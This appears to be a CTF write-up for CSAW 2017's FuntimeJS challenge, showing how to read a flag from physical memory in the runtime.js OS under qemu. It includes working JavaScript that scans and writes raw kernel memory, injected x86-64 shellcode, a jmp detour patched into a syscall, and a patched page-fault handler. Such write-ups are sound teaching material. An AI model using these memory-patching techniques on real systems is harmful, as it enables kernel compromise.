CSAW CTF 2017 - FuntimeJS Writeup

For this challenge, we’re given a JavaScript console and tasked with reading the flag from physical address 0xdeadbeeeef.

Running something in the console gives an output starting with:

1
2
3
4
 --- starting qemu ---
Kernel build #2062 (v8 5.4.9)
runtime.js v0.2.14
loading...

It’s clear that we’re dealing with runtime.js (an OS which primarily runs JS) running in qemu, so now we need to figure out how to read from 0xdeadbeeeef. First, let’s print the globals with console.log(global); and find a few interesting functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Globals
{
...
__SYSCALL:
{ log: [Function: log],
write: [Function: write],
eval: [Function: eval],
version: [Function: version],
getCommandLine: [Function: getCommandLine],
initrdReadFile: [Function: initrdReadFile],
initrdReadFileBuffer: [Function: initrdReadFileBuffer],
initrdListFiles: [Function: initrdListFiles],
initrdGetKernelIndex: [Function: initrdGetKernelIndex],
startProfiling: [Function: startProfiling],
stopProfiling: [Function: stopProfiling],
debug: [Function: debug],
takeHeapSnapshot: [Function: takeHeapSnapshot],
memoryInfo: [Function: memoryInfo],
systemInfo: [Function: systemInfo],
reboot: [Function: reboot],
bufferAddress: [Function: bufferAddress],
memoryBarrier: [Function: memoryBarrier],
allocDMA: [Function: allocDMA],
getSystemResources: [Function: getSystemResources],
stopVideoLog: [Function: stopVideoLog],
setTime: [Function: setTime],
acpiGetPciDevices: [Function: acpiGetPciDevices],
acpiSystemReset: [Function: acpiSystemReset],
acpiEnterSleepState: [Function: acpiEnterSleepState] },
}

The documentation on runtime.js is a bit lacking, so it’s easier to just read the source code to see how these work. Everything relevant to the syscalls is in native-object.cc.

Although the challenge wants us to read something from memory, we can still poke around for interesting files using console.log(__SYSCALL.initrdListFiles());:

1
2
3
4
[ '/flag.txt',
'/index.js',
...
]

So… can’t we just read /flag.txt? A quick call to console.log(__SYSCALL.initrdReadFile('/flag.txt')); gives flag{I_f0rg0t_1n1trd_1nclud3d_a11_files}. This is the unintended solution for the challenge, so we still need to find a way to read 0xdeadbeeeef.

Looking through native-object.cc shows us that the __SYSCALL.getSystemResources function will give us a ResourceMemoryRangeObject for the first 4GB of memory. The ResourceMemoryRangeObject.block function will give us a ResourceMemoryBlockObject on which we can call buffer to get read and write access from JS to the memory. Although this means that we can’t read 0xdeadbeeeef directly (since it’s past 0xffffffff), we can hopefully use this to get arbitrary code execution to let us read what we want.

I figured that the easiest way to get code exec was to find one of the implementations of the __SYSCALL functions, patch in a jump to some of our own code, then execute the syscall from JS. The debug function seemed like a good candidate since it’s not really used for anything else and defined as:

1
2
3
4
5
6
 NATIVE_FUNCTION(NativesObject, Debug) {
PROLOGUE_NOTHIS;
USEARG(0);

printf(" --- DEBUG --- \n");
}

The usage of the string in printf means all we have to do is find where the --- DEBUG --- string is, find where it is referenced, and dump the surrounding memory to see what the code looks like. To do this, I used the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function findData(lookFor) {
var MEM_START_OFFSET = 1;
var memBuffer = new Uint8Array(__SYSCALL.getSystemResources().memoryRange.block(MEM_START_OFFSET, 0x7FFFFFFF).buffer());
var locs = [];
for (var i = 0; i < 0x2000000; i++) {
var found = true;
for (var j = 0; j < lookFor.length; j++) {
if (memBuffer[i+j] != lookFor[j]) {
found = false;
break;
}
}
if (found) {
return (i + MEM_START_OFFSET);
}
}
return null;
}

function decToHex(d) {
var hex = d.toString(16);
hex = "00".substr(0, 2 - hex.length) + hex;
return hex;
}

function dumpMem(start, size) {
var memBuffer = new Uint8Array(__SYSCALL.getSystemResources().memoryRange.block(start, size).buffer());
var outStr = "";
for (var i = 0; i < size; i++) {
outStr += decToHex(memBuffer[i]);
}
return outStr;
}

function pointerToBytes(pointer) {
var result = [];
for (var i = 0; i < 4; i++) {
result.push((pointer >> (i*8)) & 0xFF);
}
return result;
}

var dbgStrAddr = findData(" --- DEBUG --- ".split('').map((char) => char.charCodeAt(0)));
console.log("Found debug string at: ", dbgStrAddr.toString(16));

var dbgStrUsageAddr = findData(pointerToBytes(dbgStrAddr));
console.log("Found debug string usage at: ", dbgStrUsageAddr.toString(16));

console.log(dumpMem(dbgStrUsageAddr - 256, 512));

Running it gives:

1
2
3
Found debug string at:  af7367
Found debug string usage at: 211bb1
0bf6feffebb9b9867baf00bafd...

Loading the dump into IDA shows us that the code is:

1
2
3
4
5
6
48 83 C4 08      add rsp, 8
BF 67 73 AF 00 mov edi, 0AF7367h
31 C0 xor eax, eax
5B pop rbx
5D pop rbp
E9 32 F7 FE FF jmp near ptr 0FFFFFFFFFFFEF83Fh

We want to allocate some memory, write code into it, and replace the start of the debug function with a jmp to our code. Note that the start of the function is 5 bytes before the pointer to the debug string. The allocDMA syscall will allocate us some memory and give us the address. So, we’ll first allocate some memory and write the detour over the top of the start of the debug function:

1
2
48 c7 c3 78 56 34 12   mov    rbx,0x12345678
ff e3 jmp rbx

We just need to replace 0x12345678 with the actual address of our shellcode, which we can do with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function writeData(writeTo, data) {
var memBuffer = new Uint8Array(__SYSCALL.getSystemResources().memoryRange.block(writeTo, data.length).buffer());
for (var i = 0; i < data.length; i++) {
memBuffer[i] = data[i];
}
}

function writeMultipleData(writeTo, datas) {
var offset = 0;
for (var i = 0; i < datas.length; i++) {
writeData(writeTo + offset, datas[i]);
offset += datas[i].length;
}
}

var codeBuf = __SYSCALL.allocDMA();
console.log("Allocated buffer for shellcode at: ", codeBuf.address.toString(16));

var jmpData = [
[0x48, 0xc7, 0xc3], pointerToBytes(codeBuf.address),
[0xff, 0xe3]
];
writeMultipleData(dbgStrUsageAddr - 5, jmpData);

At this point, we can see that 0xdeadbeeeef will probably contain a string, so we could just set the argument to printf to just be 0xdeadbeeeef instead of the pointer to the debug string. This means our shellcode can be pretty simple - just execute the instructions we overwrote, overwrite rdi (which holds the argument to printf), and jump back to the debug function:

1
2
3
4
5
48 83 c4 08                     add    rsp,0x8
48 bf ef ee be ad de 00 00 00 movabs rdi,0xdeadbeeeef

48 c7 c3 78 56 34 12 mov rbx,0x12345678
ff e3 jmp rbx

We need to replace 0x12345678 with the address after our patch, which is 4 bytes after the pointer to the debug string. The JS code looks like:

1
2
3
4
5
6
7
8
var shellcode = [
[0x48, 0x83, 0xc4, 0x08],
[0x48, 0xbf, 0xef, 0xee, 0xbe, 0xad, 0xde, 0x00, 0x00, 0x00],
[0x48, 0xc7, 0xc3], pointerToBytes(dbgStrUsageAddr + 4),
[0xff, 0xe3]
];
writeMultipleData(codeBuf.address, shellcode);
console.log("Finished writing shellcode");

After all this, we can call __SYSCALL.debug(); and see what output we get!

1
2
3
4
5
6
 --- starting qemu ---
...
Found debug string at: af7367
Found debug string usage at: 211bb1
Allocated buffer for shellcode at: 1ce00000
Finished writing shellcode

But where’s the flag? Why didn’t debug print anything? Changing the shellcode to just copy the first 8 bytes at 0xdeadbeeeef to somewhere in the first 4GB and reading it from JS shows that apparently 0xdeadbeeeef is just 0s.

Thinking back to the challenge description, it’s very clear that 0xdeadbeeeef is a physical address, so maybe there’s some some virtual memory mapping going on which is remapping 0xdeadbeeeef to another physical address.

If you aren’t familar with virtual memory and page tables, here’s a quick primer. The actual RAM in a computer has a “physical” address for each byte, and there’s usually a whole bunch of processes sharing this memory. It would be a bit annoying and insecure if any process could just issue a mov to some address that was being used by another process, so we have the idea of “virtual” memory. Essentially, instead of a process directly accessing the physical address space, it accesses a virtual address space which ostensibly only it can access. As a result of this, it could be that every process thinks it has its main function at address 0x1000. But when the call 0x1000 instruction gets executed to start the program, how does the processor know where this actually lives in physical memory? It uses a mapping between virtual addresses and physical addresses that’s defined inside a page directory and series of page tables.

We probably need to create a mapping from 0xdeadbeeeef in virtual address space to 0xdeadbeeeef in the physical address space, but messing with page tables would require reading about their exact format, which doesn’t sound fun. Instead, we’ll just get the OS to do the work for us.

The mem-manager.cc file has the MemManager::PageFault function which presumably gets called whenever there’s a page fault (e.g. when you try to access some memory that doesn’t have a mapping in the page table), and it calls AddressSpaceX64::MapPage. From its code, it seems that if the fault address (i.e. the address you tried to access) is less than 4GB, it just makes a direct mapping between the physical and virtual, but after that, it will allocate some memory and do a different mapping.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
uintptr_t fa = reinterpret_cast<uintptr_t>(fault_address);
if (fa < 4 * Constants::GiB) {
// Lazy-identity mapping for 4 GB virtual address space
phys_mem = fault_address;
writethrough = true;
} else if (fa < 512 * 256 * Constants::GiB) {
// Automatic mapping normal space
phys_mem = pmm_.alloc();

// clean = true;
writethrough = false;
} else {
GLOBAL_boot_services()
->FatalError("Invalid Faulting address = %p,"
" error code = %d, alloc to %p, cpu %d\n",
fault_address, error_code, phys_mem, Cpu::id());
}
RT_ASSERT(phys_mem);
addr_space_.MapPage(fault_address, phys_mem, true, writethrough);

So why don’t we just make that direct mapping apply to addresses larger than 4GB then run our shellcode again? A page fault should get issued, then the virtual address 0xdeadbeeeef will get mapped to the physical address 0xdeadbeeeef and we should be able to see the flag get printed.

To do this, we first need to find this PageFault function in memory. Fortunately, it contains a nice unique string Invalid Faulting address = %p, which we can search for in the same way that we searched for --- DEBUG --- before. Here’s the code:

1
2
3
4
5
6
7
var invalidStrAddr = findData("Invalid Faulting address = %p".split('').map((char) => char.charCodeAt(0)));
console.log("Found page fault string at: ", invalidStrAddr.toString(16));

var invalidStrUsageAddr = findData(pointerToBytes(invalidStrAddr));
console.log("Found page fault string usage at: ", invalidStrUsageAddr.toString(16));

console.log(dumpMem(invalidStrUsageAddr - 512, 1024));

From the disassembly, we can see the function starts with:

1
2
3
4
5
6
7
8
9
10
11
55                              push    rbp
53 push rbx
B8 FF FF FF FF mov eax, 0FFFFFFFFh
48 89 FB mov rbx, rdi
48 89 F5 mov rbp, rsi
48 83 EC 18 sub rsp, 18h
48 39 C6 cmp rsi, rax
76 4A jbe short loc_151 # Jump if fault address < 4GB
48 B8 FF FF FF FF FF 7F 00 00 mov rax, 7FFFFFFFFFFFh
48 39 C6 cmp rsi, rax
0F 87 CD 00 00 00 ja loc_1E7

We can see that the cmp rsi, rax and jbe short loc_151 implement the if (fa < 4 * Constants::GiB) { check in the source code. But we want the one-to-one mapping to occur for all addresses, so we just need to change the jbe (jump if below or equal) to be a jmp (unconditional jump) instead: we need to replace 76 4A with EB 4A. The overwrite needs to happen 251 bytes before the usage of the invalid fault address string, so we can perform the patch with the following code:

1
writeData(invalidStrUsageAddr - 251, [0xEB]);

Now, putting everything together, we can execute __SYSCALL.debug(); again and get the output:

1
2
3
4
5
6
7
8
9
 --- starting qemu ---
...
Found debug string at: af7367
Found debug string usage at: 211bb1
Allocated buffer for shellcode at: 1ce00000
Found page fault string at: af6ee0
Found pgae fault string usage at: 20ae4f
Finished writing shellcode
flag{1_th0t_j@vascript_w@s_mem0ry_s@f3!}Finished calling debug

This reads the data at 0xdeadbeeeef successfully, and our flag is flag{1_th0t_j@vascript_w@s_mem0ry_s@f3!}.

You can get the full code for the solution here.